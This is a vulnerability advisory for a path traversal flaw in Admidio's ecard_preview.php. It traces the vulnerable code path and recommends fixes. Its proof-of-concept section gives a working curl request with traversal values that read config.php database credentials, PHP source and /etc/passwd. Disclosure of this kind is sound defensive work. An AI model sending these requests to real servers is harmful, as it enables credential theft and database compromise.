CVE-2026-41655 — admidio/admidio

Summary

The ecard_preview.php endpoint does not validate that the ecard_template POST parameter is a safe filename before passing it to ECard::getEcardTemplate(). An authenticated user can supply a path traversal payload (e.g., ../config.php) to read arbitrary files accessible to the web server process, including adm_my_files/config.php which contains database credentials.

Details

Root Cause: The ecard_template parameter is a select box whose value is only sanitized via strStripTags() during form validation, which does not restrict path traversal characters. Unlike ecard_send.php which explicitly validates the template name as a safe filename, ecard_preview.php omits this check entirely.

Code Path:

1. modules/photos/ecards.php:143-152 — The form creates a select box with template filenames from adm_my_files/ecard_templates/. The form object is stored in the session.

2. modules/photos/ecard_preview.php:33-34 — The POST request is validated against the stored form object:

$categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $categoryEditForm->validate($_POST);

1. src/UI/Presenter/FormPresenter.php:2190-2243 — The validate() method applies StringUtils::strStripTags() to all values and performs type-specific checks for captcha, date, editor, email, number, url, and uuid — but has no validation case for select box values. The attacker-controlled value ../config.php passes through unchanged.

2. modules/photos/ecard_preview.php:48 — The unvalidated value is passed directly to getEcardTemplate():

$ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']);

1. src/Photos/ValueObject/ECard.php:67-77 — The filename is concatenated into the path and opened:

public function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string
{
    if ($tplFolder === '') {
        $tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/';
    }
    // ...
    $fileHandle = @fopen($tplFolder . $tplFilename, 'rb');

With $tplFilename = '../config.php', this resolves to ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php → ADMIDIO_PATH/adm_my_files/config.php.

Why ecard_send.php is NOT vulnerable: At line 35, it independently validates the template name:

$postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true));

This calls strIsValidFileName() which checks basename($filename) !== $filename, blocking any path traversal. The preview endpoint lacks this check.

PoC

# Step 1: Log in and visit the ecard form to create a session with a form object
# Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1
# Extract the adm_csrf_token from the rendered form HTML

# Step 2: Send path traversal payload to read config.php (contains DB credentials)
curl -b 'PHPSESSID=<session_cookie>' \
  -X POST 'https://target/modules/photos/ecard_preview.php' \
  -d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview'

# The response body will contain the contents of adm_my_files/config.php
# rendered inside the ecard preview HTML, including:
#   $g_adm_srv (database host)
#   $g_adm_db  (database name)
#   $g_adm_usr (database username)
#   $g_adm_pw  (database password)

# To traverse further outside adm_my_files:
# ecard_template=../../system/bootstrap/constants.php  (reads PHP source)
# ecard_template=../../../../../etc/passwd              (reads system files)

Impact

• Database credential disclosure: Any authenticated user can read adm_my_files/config.php, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise.
• Source code disclosure: Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.
• System file disclosure: With sufficient traversal depth (../../../../../etc/passwd), system files can be read, aiding further attacks.
• Low barrier to exploit: Only requires a regular member account — no admin privileges needed.

Recommended Fix

Add filename validation to ecard_preview.php before passing the template name to getEcardTemplate(), matching the validation already present in ecard_send.php:

// In modules/photos/ecard_preview.php, add BEFORE line 48:
$postTemplateName = admFuncVariableIsValid(
    $formValues, 'ecard_template', 'file', array('requireValue' => true)
);
$ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName);

Alternatively, add select box value validation to FormPresenter::validate() to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:

// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():
case 'select':
    if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) {
        throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label']));
    }
    break;